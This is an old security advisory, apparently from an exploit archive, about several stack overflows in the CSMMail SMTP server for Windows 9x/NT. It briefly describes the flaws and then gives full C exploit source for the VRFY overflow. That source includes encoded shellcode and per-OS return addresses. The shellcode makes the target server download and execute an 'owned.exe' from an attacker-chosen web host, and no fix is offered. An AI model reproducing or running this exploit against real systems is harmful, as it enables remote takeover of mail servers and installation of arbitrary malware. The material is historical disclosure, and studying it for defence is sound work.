COMMAND
CSMMail
SYSTEMS AFFECTED
Win9x, NT
PROBLEM
'pw' found following. CSMMail is a SMTP server for win95/98/NT
with features that include at least five stack overflows. At
least two of these allow remote execution of arbitrary code. The
first the overflow is found in the HELO command, there is also an
overflow in the MAIL FROM: command, however, you'll be unable to
get either of these to return to an arbitrary address. The next
overflow found was in the VRFY command, when a long string is
used as an argument ("VRFY aaaaaaa....") one can overwrite the
return address and force the server to return to arbitrary code.
This is the overflow the following exploit takes advantage of.
There is also another buffer overflow in the VRFY command which
happens if one enters "VRFY aaaa@aaaaaaa......" (not able to
make this return to an arbitrary address while testing). The
RCPT TO: command also has a overflow in it that can be used to
return to arbitrary code. There are two main problems which are
run into when exploiting the first hole in the VRFY command. The
first one is trivial to get around. If a "@" sign (40h) is found
on the buffer being copied and the buffer is excessively long it
will not overflow the buffer. To get around this we just make
sure 40h is not in our code or offseted addresses. The next
problem stems from the fact that CSM Mail has no DLL's of it's
own which are loaded in its address space and it's Image Base is
00400000h. Since we will have to include a null to address to
any of CSMMail's code there is no sure way to return to our code.
To get around this pw has included multiple return addresses in
the exploit which are bound directly to the operating system
version which CSM Mail is running under. It is also worth noting
that two of the arguments for the function which is having it's
return address overwritten need to be fixed up with a valid read
memory location in order to bypass page faults. The exploit that
is included below will force CSMMail to connect to a specified
web server and download, save and execute a file from it. The
exploit should work under x86 unix's and x86 versions of win32.
By default it is set to be compiled under unix, to compile it
under win32 take out the "#define UNIX." [thanks to Acpizer for
porting this to win32 and determining the SP3 address values]
#define UNIX
#ifndef UNIX
#include <stdio.h>
#include <fcntl.h>
#include <winsock.h>
#include <io.h>
#define CLOSE _close
#define SLEEP Sleep
#else
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define CLOSE close
#define SLEEP sleep
#endif
/*
CSMMail Exploit by _mcp_ <pw@nacs.net>
Win32 port and sp3 address's by Acpizer <acpizer@unseen.org>
Greets go out to the following people: Morpheus, Sizban, Rocket,
Acpizer, Killspree, Ftz, Dregvant, Vio, Symbiont, Coolg, Henk, #finite
and #win32asm.
You can contact me by e-mail or on efnet.
As always no greets go out to etl
*/
const unsigned long FIXUP1 = 264;
const unsigned long FIXUP2 = 268;
const unsigned long OFFSET = 260;
char code[] =
"\xEB\x53\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1"
"\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF"
"\xEB\x37\x46\x58\xFF\xE0\x33\xDB\xB3\x48\xC1\xE3\x10\x66\xBB"
"\x94\x62\x56\xFF\x13\x8B\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46"
"\x83\xC0\x1\x3A\x6\x74\xDD\x56\x55\x33\xDB\xB3\x48\xC1\xE3"
"\x10\x66\xBB\xB8\x62\xFF\x13\xAB\xEB\xDF\xEB\x4F\x33\xC9\x66"
"\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8\x33"
"\xC9\x51\x51\x51\x51\x57\xFF\x57\xF4\x33\xC9\x51\x51\x51\x51"
"\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83\xC6"
"\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8\xFF"
"\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF\x57"
"\xF0\xE8\x59\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33\x1"
"\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75\x66"
"\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62\x6D"
"\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1\x46"
"\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A\x4F"
"\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71"
"\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71\x66"
"\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x53"
"\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B\x30"
"\x30\x00";
/*This is the encrypted /~pw/owned.exe we paste at the end */
char dir[] =
"\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0";
unsigned int getip(char *hostname)
{
struct hostent *hostinfo;
unsigned int binip;
hostinfo = gethostbyname(hostname);
if(!hostinfo)
{
printf("cant find: %s\n",hostname);
exit(0);
}
#ifndef UNIX
memcpy((char *)&binip, hostinfo -> h_addr, hostinfo -> h_length);
#else
bcopy(hostinfo -> h_addr, (char *)&binip, hostinfo -> h_length);
#endif
return(binip);
}
int usages(char *fname)
{
printf("CSMMail Remote Buffer Overflow exploit v1.1 by _mcp_ <pw@nacs.net>.\n");
printf("Win32 porting and nt sp3 address's by Acpizer <acpizer@unseen.org>\n");
printf("Usages: \n");
printf("%s <target host> <www site> <fixup address> <return address>\n", fname);
printf("win98 SP1:\n");
printf(" <fixup address> = 0xBFF78030\n");
printf(" <return address> = 0xBFF79243\n");
printf("NT SP3:\n");
printf(" <fixup address> = 0x77EB14C0\n");
printf(" <return address> = 0x77E53FC7\n");
printf("NT SP4:\n");
printf(" <fixup address> = 0x77EB14C0\n");
printf(" <return address> = 0x77E9A3A4\n");
printf("Will make <target host> running CSMMail download, save, and\n");
printf("execute http://<www site>/~pw/owned.exe\n");
exit(0);
}
main (int argc, char *argv[])
{
int sock,targethost,sinlen;
struct sockaddr_in sin;
static unsigned char buffer[20000];
unsigned char *ptr,*ptr2;
unsigned long ret_addr;
int len,x = 1;
unsigned long rw_mem;
#ifndef UNIX
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err != 0) exit(1);
#endif
if (argc < 5) usages(argv[0]);
targethost = getip(argv[1]);
len = strlen(argv[2]);
if (len > 60)
{
printf("Bad http format!\n");
usages(argv[0]);
}
ptr = argv[2];
while (x <= len)
{
x++;
(*ptr)++; /*Encrypt the http ip for later parsing */
ptr++;
}
if( (sscanf(argv[3],"0x%x",(unsigned long *) &rw_mem)) == 0)
{
printf("Input Error, the fixup memory address has incorrect format\n");
exit(0);
}
if( (sscanf(argv[4],"0x%x",(unsigned long *) &ret_addr)) == 0)
{
printf("Input error, the return address has incorrect format\n");
exit(0);
}
sock = socket(AF_INET,SOCK_STREAM,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = targethost;
sin.sin_port = htons(25);
sinlen = sizeof(sin);
printf("Starting to create the egg\n");
ptr = (char *)&buffer;
strcpy(ptr,"VRFY ");
ptr+=5;
memset((void *)ptr, 0x90, 7000);
ptr2=ptr;
ptr2+=FIXUP1;
memcpy((void *) ptr2,(void *) &rw_mem,4);
ptr2=ptr;
ptr2+=FIXUP2;
memcpy((void *) ptr2,(void *) &rw_mem,4);
ptr+=OFFSET;
memcpy ((void *) ptr,(void *)&ret_addr, 4);
ptr+=60;
memcpy((void *) ptr,(void *)&code,strlen(code));
(char *) ptr2 = strstr(ptr,"\xb1");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2++;
(*ptr2)+= len + ( sizeof(dir) - 1 );
(char *) ptr2 = strstr(ptr,"\x83\xc6");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2+= 2;
(*ptr2)+= len + 8;
ptr+=strlen(code);
memcpy((void *) ptr, (void *) argv[2], len); /*Parse in the http
site's info */
ptr+=len;
memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
printf("Made the egg\n");
if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
{
perror("error:");
exit(0);
}
printf("Connected.\n");
#ifndef UNIX
send(sock, "HELO lamer.com\r\n",16, 0);
send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
send(sock,"\r\n",2,0);
#else
write(sock, "HELO lamer.com\r\n",16);
write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
*)&buffer */
write(sock,"\r\n",2);
#endif
SLEEP(1);
printf("Sent the egg\n");
#ifndef UNIX
WSACleanup();
#endif
CLOSE(sock);
exit(1);
}
SOLUTION
Nothing yet.